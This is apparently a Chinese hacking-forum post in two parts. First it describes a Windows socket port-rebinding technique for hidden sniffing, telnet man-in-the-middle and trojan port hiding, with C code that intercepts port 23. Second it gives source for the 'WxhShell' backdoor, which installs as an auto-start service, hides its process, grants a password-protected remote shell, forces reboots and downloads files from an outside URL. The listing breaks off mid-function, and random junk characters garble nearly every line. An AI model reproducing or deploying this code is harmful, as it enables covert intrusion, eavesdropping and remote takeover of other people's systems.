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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2v4&'C  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eYjF"Aq  
VC Ay~,  
  saddr.sin_family = AF_INET; dvY3=~'  
sT<h+[2d  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); '&gUAt  
j\Fbi3H  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ZD$I-33W  
G%i&C)jZ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~"wnlG-:  
@^-f +o  
  这意味着什么?意味着可以进行如下的攻击: }095U(@  
ov\%*z2=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h]|2b0  
i1b3>H*3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,y/m5-D!  
u V'C_H  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 **6X9ZIX[  
:,/ \E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   %\B?X;(  
6/(Z*L"~6k  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (f#{<^gd  
)^ )|b5,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;D4 bxz0ou  
Kl(u~/=6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  Bv%dy[I  
eR3MU]zF  
  #include ,d=Dicaz  
  #include RzLeR%O  
  #include Z%r8oj\n  
  #include    : 9zEne4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :4"b(L  
  int main()  M[R'  
  { I;P!   
  WORD wVersionRequested; $"=0{H.?  
  DWORD ret; ^*~4[?]S  
  WSADATA wsaData; *iPBpEWC  
  BOOL val; &,]yqG 2  
  SOCKADDR_IN saddr; A  j>  
  SOCKADDR_IN scaddr; )hK;27m4  
  int err; ,qdZ6bv,]|  
  SOCKET s; H a`V"X{}  
  SOCKET sc; Z$)jPDSr  
  int caddsize; B|;?#okx  
  HANDLE mt; 9!D c=  
  DWORD tid;   k9&pX8#  
  wVersionRequested = MAKEWORD( 2, 2 ); mT1Q7ta*P  
  err = WSAStartup( wVersionRequested, &wsaData ); U/rFH9e$  
  if ( err != 0 ) { AIA4c"w.EO  
  printf("error!WSAStartup failed!\n"); b&pL}o?/k  
  return -1; ]U 1S?p  
  } +gb"} cN  
  saddr.sin_family = AF_INET; sNC~S%[  
   VOp+6ho<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ve(@=MJ  
-PiZvge  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ZQ#AEVI,  
  saddr.sin_port = htons(23); .8CfCRq  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q&wv{  
  { EixAmG  
  printf("error!socket failed!\n"); f{D~ZC.*  
  return -1; kAoh#8=  
  } GIUyW  
  val = TRUE; !t&C,@Ox  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 u$x'P <b  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v #Q(g/^  
  { B :1r;8{j  
  printf("error!setsockopt failed!\n"); \&Oc}]  
  return -1; 42DB0+_wz  
  } ob(~4H-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; U }}E E~W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 NX<Q}3cC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n(Ry~Xu_  
9z?B@;lMc  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) FzFP 0  
  { FOX0  
  ret=GetLastError(); ~T'$gl  
  printf("error!bind failed!\n"); ')E4N+h/  
  return -1; 88atj+N]  
  } Otm7j>w  
  listen(s,2); "I[u D)$  
  while(1) {=E,.%8  
  { !f8]gTzN  
  caddsize = sizeof(scaddr); 0 9*?'^s4  
  //接受连接请求 TJ(vq]|&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); y@]:7  
  if(sc!=INVALID_SOCKET) G\S_e7$ /  
  { 4p`z%U~=u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t-J\j"~%+  
  if(mt==NULL) ]B-3Lh  
  { 8d\/  
  printf("Thread Creat Failed!\n"); Oj.xJ(uX+v  
  break; 3#c0p790  
  } t3aDDu  
  } ' C1yqkIa`  
  CloseHandle(mt); xO'xZ%cUI  
  } A)o%\j  
  closesocket(s); f<2<8xS  
  WSACleanup(); G%fNGQwT  
  return 0; xy<)zKp  
  }   \F),SL  
  DWORD WINAPI ClientThread(LPVOID lpParam) _ ~E_#cNn  
  { _VAX~Y]  
  SOCKET ss = (SOCKET)lpParam; ltG|#(  
  SOCKET sc; k|_LF[*Z  
  unsigned char buf[4096]; &0@AM_b  
  SOCKADDR_IN saddr; ?rububDT{  
  long num; ( ESmP  
  DWORD val; \EeK<)4:  
  DWORD ret; mF] 8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >`.$Tyw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2lBfc  
  saddr.sin_family = AF_INET; Y>'t)PK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iJ~e8l0CA  
  saddr.sin_port = htons(23); Zk 9i}H  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x?-kt.M  
  { .&c!k1kH  
  printf("error!socket failed!\n"); ]AdL   
  return -1; r*4@S~;  
  } FKu^{'Y6E0  
  val = 100; 1FmqNf:V7I  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ST^{?Q  
  { C2Af$7c  
  ret = GetLastError(); cP(is!  
  return -1; tY $4k26  
  } `}&}2k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LDq(WPI1#  
  { &$E.rgtg  
  ret = GetLastError(); )u(Dqu\t  
  return -1; bmGtYv  
  } Ewczq1%l:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5_Opx=  
  { q#!c6lG  
  printf("error!socket connect failed!\n"); E,:E u<  
  closesocket(sc); "+KAYsVtU  
  closesocket(ss); Cr$8\{2OA7  
  return -1; c9N5c  
  } WCZeY?_^c  
  while(1) sD`OHV:  
  { TP&&' 4?D1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5iP{)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q?TXM1Bp  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 c,RY j  
  num = recv(ss,buf,4096,0); @c#M^:9Dc  
  if(num>0) \KPwh]0  
  send(sc,buf,num,0); 1:d,8  
  else if(num==0) :s'hXo  
  break; H;rLU9b  
  num = recv(sc,buf,4096,0); .< /.(7  
  if(num>0) ?{*/VJl$  
  send(ss,buf,num,0); .LHzaeJCX  
  else if(num==0) Y]Y]"y$1  
  break; 9$:+5f,%a  
  } F {T\UX  
  closesocket(ss); Stxrgmu  
  closesocket(sc); H?<c eK'e  
  return 0 ; B(|dT66K  
  } j*}2AI  
"jG-)k`a  
GjvTYg~  
==========================================================  $>y   
'2.11cM3  
下边附上一个代码,,WXhSHELL ?3+>% bO  
:*{\oqFn~$  
========================================================== ac??lHtH9  
`SSUQ#@  
#include "stdafx.h" rCdf*;  
0vm}[a4+i;  
#include <stdio.h> JqYt^,,Q:  
#include <string.h> vAp?Zl?g  
#include <windows.h> uA2-&smw  
#include <winsock2.h> hz_F^gF  
#include <winsvc.h> v"a.%" oN8  
#include <urlmon.h> `T;Y%"X!  
n32.W?9  
#pragma comment (lib, "Ws2_32.lib") *<nfA}  
#pragma comment (lib, "urlmon.lib") v\?J$Hdd  
Ffp<|2T2_  
#define MAX_USER   100 // 最大客户端连接数 MW6KEiQ"  
#define BUF_SOCK   200 // sock buffer fKZgAISF  
#define KEY_BUFF   255 // 输入 buffer <E.$4/T  
jIs2R3B  
#define REBOOT     0   // 重启 +4%: q~C  
#define SHUTDOWN   1   // 关机 vs~lyM/  
r 2L=gI  
#define DEF_PORT   5000 // 监听端口 E)7ODRVbl  
Co#_Cyxg=9  
#define REG_LEN     16   // 注册表键长度 \9t6 #8  
#define SVC_LEN     80   // NT服务名长度 /i)1BaF  
nmrYBw>  
// 从dll定义API %[C-KQH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,"W.A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X}gnO83  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4C{3>BE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !HP/`R  
P?P))UB5  
// wxhshell配置信息 j L[ hB  
struct WSCFG { *PVv=SU  
  int ws_port;         // 监听端口 +w pe<T  
  char ws_passstr[REG_LEN]; // 口令 dECH/vJ^  
  int ws_autoins;       // 安装标记, 1=yes 0=no |6.1uRFE2  
  char ws_regname[REG_LEN]; // 注册表键名 : 'LG%E:b  
  char ws_svcname[REG_LEN]; // 服务名 =wy3h0k^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H\Jpw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IN%04~= H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;c_pa0L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NJglONO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )4P5i b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JrdH6Zg  
].eY]o}=  
}; )tV^)n[w  
Z|kMoB  
// default Wxhshell configuration >O{/%(9  
struct WSCFG wscfg={DEF_PORT, uF=xo`=|  
    "xuhuanlingzhe", GCgpe(cQ  
    1, ~t~5ctJ@  
    "Wxhshell", mrfc.{`[  
    "Wxhshell", H}$hk  
            "WxhShell Service", An%V>a-[  
    "Wrsky Windows CmdShell Service", > WW5A py[  
    "Please Input Your Password: ", UUt631  
  1, p3NTI/-  
  "http://www.wrsky.com/wxhshell.exe", igW>C2J  
  "Wxhshell.exe" cs%NsnZ  
    }; '0xJp|[xVP  
z4nVsgQ$  
// 消息定义模块 !r8Jo{(pb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y=jTS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a;A&>Ei}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oEWx9c{~$  
char *msg_ws_ext="\n\rExit."; 2F[;Z*&  
char *msg_ws_end="\n\rQuit."; '\2lWR]ndd  
char *msg_ws_boot="\n\rReboot..."; Z)U#5|sf  
char *msg_ws_poff="\n\rShutdown..."; ,j('QvavJ  
char *msg_ws_down="\n\rSave to "; _ z!0ab  
:-f"+v  
char *msg_ws_err="\n\rErr!"; '7<@(HO  
char *msg_ws_ok="\n\rOK!"; r]=3aebR.  
j{nkus2  
char ExeFile[MAX_PATH]; kPVP+}cA  
int nUser = 0; diLjUC`69  
HANDLE handles[MAX_USER]; ,QpDz{8  
int OsIsNt; A_t<SG5  
O;A/(lPW+  
SERVICE_STATUS       serviceStatus; ]rh)AE!Y(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lE54RX}e4  
_]=`F l  
// 函数声明 i`g>Y5   
int Install(void); N[$(y} !s  
int Uninstall(void); rr[9sk`^H  
int DownloadFile(char *sURL, SOCKET wsh); rwxJR@Ttn  
int Boot(int flag); _l?5GLl_F$  
void HideProc(void); f-\l<o(  
int GetOsVer(void); V#TA%>  
int Wxhshell(SOCKET wsl); (!';  
void TalkWithClient(void *cs); Oed&B  
int CmdShell(SOCKET sock); g(:y_EpmLH  
int StartFromService(void); B%Yb+M&K  
int StartWxhshell(LPSTR lpCmdLine); N[}XLhbt  
V,uhBMT#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A&5$eGe9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TBQ`:`g^m  
rrSA.J{  
// 数据结构和表定义 MjI}fs<   
SERVICE_TABLE_ENTRY DispatchTable[] =  FFgy=F  
{ Jz#ZDZkm  
{wscfg.ws_svcname, NTServiceMain}, qi7wr\XNW  
{NULL, NULL} is}Fy>9i  
}; na FZ<'t>&  
)^!-Aj\x  
// 自我安装 U[S;5xeF.j  
int Install(void) Ze$:-7Czl  
{ 7l Aa6"Y68  
  char svExeFile[MAX_PATH]; P|.KMtG  
  HKEY key; 8IC((  
  strcpy(svExeFile,ExeFile); t:M({|m Y  
sI`i  
// 如果是win9x系统,修改注册表设为自启动 #k=!>%+E  
if(!OsIsNt) { E"Xi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xiRTp:>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =]E1T8|  
  RegCloseKey(key); 4PUM.%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AmSJ!mTd8o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iA ZtV'VQ)  
  RegCloseKey(key); vS<;:3  
  return 0; q0y?$XS  
    } Dz)bP{iq"  
  } oRu S_X  
} i6m;2 UAa  
else { 3iWLo Qm  
c_^H;~^rL  
// 如果是NT以上系统,安装为系统服务 `p^M\!h*O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7<.f&1MgI  
if (schSCManager!=0) =GR Em5  
{ y i@61XI  
  SC_HANDLE schService = CreateService ((dG<  
  ( .^kTb2$X  
  schSCManager, uR"]w7=  
  wscfg.ws_svcname, ~[9 ]M)=O0  
  wscfg.ws_svcdisp, k5xirB_  
  SERVICE_ALL_ACCESS, n? s4"N6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {8jG6  
  SERVICE_AUTO_START, Vxgc|E^J  
  SERVICE_ERROR_NORMAL, ^U_jeAuk8[  
  svExeFile, kLD)<D  
  NULL, ;pB?8Z  
  NULL, R4qk/@]t  
  NULL, DTIy/  
  NULL, 5 ?vIkf  
  NULL j#p3c  
  ); G#% =R`k/  
  if (schService!=0) % 9WWBxS  
  { *`jEg=)  
  CloseServiceHandle(schService); ZRxB"a'  
  CloseServiceHandle(schSCManager); n(o Jb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3 oWCQ  
  strcat(svExeFile,wscfg.ws_svcname); xEiW]Eo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xU rfH$$!`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;8 b f5  
  RegCloseKey(key); 2=3iA09px  
  return 0; L:^'cl} G  
    } 5!cplx=<  
  } 2dI:],7  
  CloseServiceHandle(schSCManager); L,kF]  
} w|5}V6WD  
} Z=H f OC  
U&eLj"XZ  
return 1; Ns 9g>~  
} :e9E#o  
,vhR99g{  
// 自我卸载 gVl#pVO`N  
int Uninstall(void) h'jnc.  
{ $4M3j%S  
  HKEY key; ]CL70+[^9  
L]tyL)  
if(!OsIsNt) { 6a,YxR\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XnG!T$  
  RegDeleteValue(key,wscfg.ws_regname); V?rI,'F>N  
  RegCloseKey(key); ]JM9 ^F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 54)}^ftY^  
  RegDeleteValue(key,wscfg.ws_regname); g{a0,B/j  
  RegCloseKey(key); 7xd}J(l  
  return 0; p{U8z\  
  } 7v:;`6Jb  
} %Mu dc  
} {"y 6l  
else { 4v?S` w:6  
!kz\ {  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hmi15VW  
if (schSCManager!=0) DuFlN1Z  
{ JL$RBr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l:[=M:#p  
  if (schService!=0) N!va12  
  { j"dbl?og  
  if(DeleteService(schService)!=0) { < <xJ-N  
  CloseServiceHandle(schService); e'?(`yW>  
  CloseServiceHandle(schSCManager);  6$Dbeb  
  return 0; #QB`'2)vw  
  } Ar$LA"vu4  
  CloseServiceHandle(schService); }$UFc1He\J  
  } I'j? T.  
  CloseServiceHandle(schSCManager); }l2JXf55  
} ':[y]ep(~|  
} ](ninSX1w  
k{#:O=  
return 1; bC{~/ JP  
} ?:2Xh/8-  
u J$"2<O  
// 从指定url下载文件 SW=p5@Hy{  
int DownloadFile(char *sURL, SOCKET wsh) z(=:J_N  
{ XU54skN  
  HRESULT hr; 93rE5eGs  
char seps[]= "/"; 8;5/_BwMu  
char *token; {F4:  
char *file; g$97"d'  
char myURL[MAX_PATH]; $ S49v  
char myFILE[MAX_PATH]; Xgm7>=l  
7 D^A:f  
strcpy(myURL,sURL); -_}EQ9Q  
  token=strtok(myURL,seps); ?\yo~=N^  
  while(token!=NULL) _`(g?  
  { ppYz~ {"r  
    file=token; }0TY  
  token=strtok(NULL,seps); ~Mx fud  
  } p)ONw"sb  
68SM br  
GetCurrentDirectory(MAX_PATH,myFILE); 4>W`XH  
strcat(myFILE, "\\"); izxCbbg  
strcat(myFILE, file); I5~DC  
  send(wsh,myFILE,strlen(myFILE),0); F, "x~C  
send(wsh,"...",3,0); DjKjEZHgM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z*)<E)  
  if(hr==S_OK) y\[=#g1(@  
return 0; 7PMZt$n  
else y{N9.H2  
return 1; x0d+cSw  
'tbb"MEi4  
} P8jK yo  
fin15k  
// 系统电源模块 w9FI*30  
int Boot(int flag) 3%} Ma,  
{ jBC9Vt;B  
  HANDLE hToken; A>?fbY2n  
  TOKEN_PRIVILEGES tkp; 1gE`_%?K  
bm4W,  
  if(OsIsNt) { 1mX*0>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1 W0;YcT]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0D'Wr(U(  
    tkp.PrivilegeCount = 1; TU/J]'))C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aPC!M4#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~g{,W  
if(flag==REBOOT) { H@zk8]_P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _x!pM j(A  
  return 0; 5-OvPTY`M  
} HZ}*o%O  
else { gY9"!IVe+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l;.BlHyu  
  return 0; /K^cU;E,  
} q :bKT#\  
  } c&++[  
  else { (yP55PC O$  
if(flag==REBOOT) { 3\{Sf /#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x3Ud0[(  
  return 0; kslN_\   
} ;i9CQ0e ?  
else { a3;.{6el)H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V|AE~R^  
  return 0; }$-VI\96  
} MjpJAV/84  
} Ps7%:|K]  
=CoT{LRQ_  
return 1; 'm|m +K83  
} HhL%iy1  
0U>Q<I}  
// win9x进程隐藏模块 V%ch'  
void HideProc(void) =lwS\mNs  
{ Bu1z$#AC  
#lF<="y%X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K(gj6SrjV  
  if ( hKernel != NULL ) i.sq^]j  
  { guv@t&;t0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0R& U18)y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z(3"\ ^T  
    FreeLibrary(hKernel); 8|({ _Z  
  } MxRU6+a  
D@^ZpN8r  
return; uNbA>*c4M  
} %'e(3;YI  
rHlF& ET  
// 获取操作系统版本 IMza 2  
int GetOsVer(void) GcR`{ 3hO  
{ (5~C _Y  
  OSVERSIONINFO winfo; B$l`9!,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A ? M]5d  
  GetVersionEx(&winfo); 5-^%\?,x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8-:k@W  
  return 1; zc+;VtP|8  
  else >A&@Wp1  
  return 0; F-^HN%  
} 1c#'5~nB  
G+uiZ (p>  
// 客户端句柄模块 (fa?f tK  
int Wxhshell(SOCKET wsl) s3{s.55{m  
{ $)Yog]}  
  SOCKET wsh;  3Mx@  
  struct sockaddr_in client; ]%|WE  
  DWORD myID; QIK73^  
pGY]Vw Y  
  while(nUser<MAX_USER) 7X(]r1-+\  
{ |Vi&f5p,@  
  int nSize=sizeof(client); AiZFvn[n8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A+I&.\QAR  
  if(wsh==INVALID_SOCKET) return 1; J\3} il N  
#[y<h3f]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N}fUBX4k  
if(handles[nUser]==0) Eap/7U1Q  
  closesocket(wsh); -vHr1I<  
else SFk#bh  
  nUser++; Jv <$AI  
  } `{F~'t['  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R*Z]  
7[g;|(G0  
  return 0; rxj@NwAno  
} ^,lZ58 2  
{X<4wxeTo  
// 关闭 socket ^Pd3 7&B4V  
void CloseIt(SOCKET wsh) T[-c|  
{ ]M;6o@hq  
closesocket(wsh); q 9S z7_K  
nUser--; .vS6_  
ExitThread(0); 1?|6odc  
} b$O_L4CP  
9K':Fn2,  
// 客户端请求句柄 `t0f L\T  
void TalkWithClient(void *cs) j yRSEk$  
{ =nx:GT3&[  
H'{?aaK|t  
  SOCKET wsh=(SOCKET)cs; [!@oRK=~  
  char pwd[SVC_LEN]; :z.Y$]F@  
  char cmd[KEY_BUFF]; *xg`Kwl5Kl  
char chr[1]; 9xn23*Fo  
int i,j; ceZ8} Sh  
UVc<C 1 q  
  while (nUser < MAX_USER) { ^}Qj}  
4iNbK~5j  
if(wscfg.ws_passstr) { s;2/Nc   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~59`S#ax/l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M+;P?|a  
  //ZeroMemory(pwd,KEY_BUFF); +}QBzGW`  
      i=0; PCPf*G>  
  while(i<SVC_LEN) { rLh9`0|D  
2l@"p!ar=  
  // 设置超时 =HY1l}\  
  fd_set FdRead; kq~[k.  
  struct timeval TimeOut; rEyz|k:  
  FD_ZERO(&FdRead); ,LW+7yD  
  FD_SET(wsh,&FdRead); c5E#QV0&v~  
  TimeOut.tv_sec=8; E0 eQ9BXh  
  TimeOut.tv_usec=0; ]1d,O^S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^8NLe9~p3?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HCG@#W<wc  
6lmiMU&V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q^1aPz  
  pwd=chr[0]; $tCcjBK\  
  if(chr[0]==0xd || chr[0]==0xa) { =+`j?1  
  pwd=0; #)0Tt>d6  
  break; y168K[p  
  } :X1cA3c!  
  i++; b"nG-0JR  
    }  (X(1kj3  
T5S g2a1&  
  // 如果是非法用户,关闭 socket xN3 [Kp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $iqi:vY  
} %gu$_S  
Ji6`-~ k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P$18Xno{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3`k[!!   
?,:#8.9  
while(1) { NdsX*o@a  
?orhJS  
  ZeroMemory(cmd,KEY_BUFF); vZE|Z[M+<  
9G#8 %[W  
      // 自动支持客户端 telnet标准   b>QM~mq3^I  
  j=0; tyuk{* Me:  
  while(j<KEY_BUFF) { 3gG+`{<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "65||[=8  
  cmd[j]=chr[0]; *:9 >W$0u  
  if(chr[0]==0xa || chr[0]==0xd) { H 5U x.]y  
  cmd[j]=0; Ty3CBR{6  
  break; SgpZ;\_  
  } >AQ) x  
  j++; (@ fa~?v>@  
    } @1v3-n=  
kz0I2!bt  
  // 下载文件 i)7n c  
  if(strstr(cmd,"http://")) { ]Y4q'KH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,$h(fM8GC  
  if(DownloadFile(cmd,wsh)) =!(*5\IM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X_u@D;$  
  else ;h9-}F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r+{d!CHq}  
  } 4L=$K2R2r  
  else { SbS$(Gt#Bv  
u3Usq=Ij{  
    switch(cmd[0]) { +_ *eu  
  N^ h |h  
  // 帮助 4[TS4p  
  case '?': { |Bx||=z`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eQU-&-wt0  
    break; Q`S iV  
  } V(;55ycr  
  // 安装 m7r j>X Y  
  case 'i': { W?qpnPW  
    if(Install()) uw Kh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VY/|WD~"CW  
    else j-J(C[[9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 48tcgFg[  
    break; M*5,O   
    } `]`=]*d  
  // 卸载 17>5#JLP  
  case 'r': { ]?0{(\  
    if(Uninstall()) Nfv="t9e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K,f* SXM  
    else t_dcV%=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0 kf(g156  
    break; +"cRhVR  
    } Hp btj  
  // 显示 wxhshell 所在路径 C-llq`(d  
  case 'p': { 7hB#x]oQo  
    char svExeFile[MAX_PATH]; 59{;VY81  
    strcpy(svExeFile,"\n\r"); X"h%tsuw  
      strcat(svExeFile,ExeFile); -7>^ rR V  
        send(wsh,svExeFile,strlen(svExeFile),0); `"a? a5]k  
    break; 8P,l>HA  
    } WD15pq l  
  // 重启 iH-bo@  
  case 'b': { o]Z _@VI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hf VHI1f  
    if(Boot(REBOOT)) z)4UMR#b&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;>NP.pnA)  
    else { 9wL!D3e {Q  
    closesocket(wsh); q*\NRq  
    ExitThread(0); zlH28V  
    } h&lyxYZ+T$  
    break; X<(6T  
    } 7MY)\aH  
  // 关机 {7vgHutp  
  case 'd': { P}HC(S1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y!SE;N&  
    if(Boot(SHUTDOWN)) \V]t!mZ-}l  
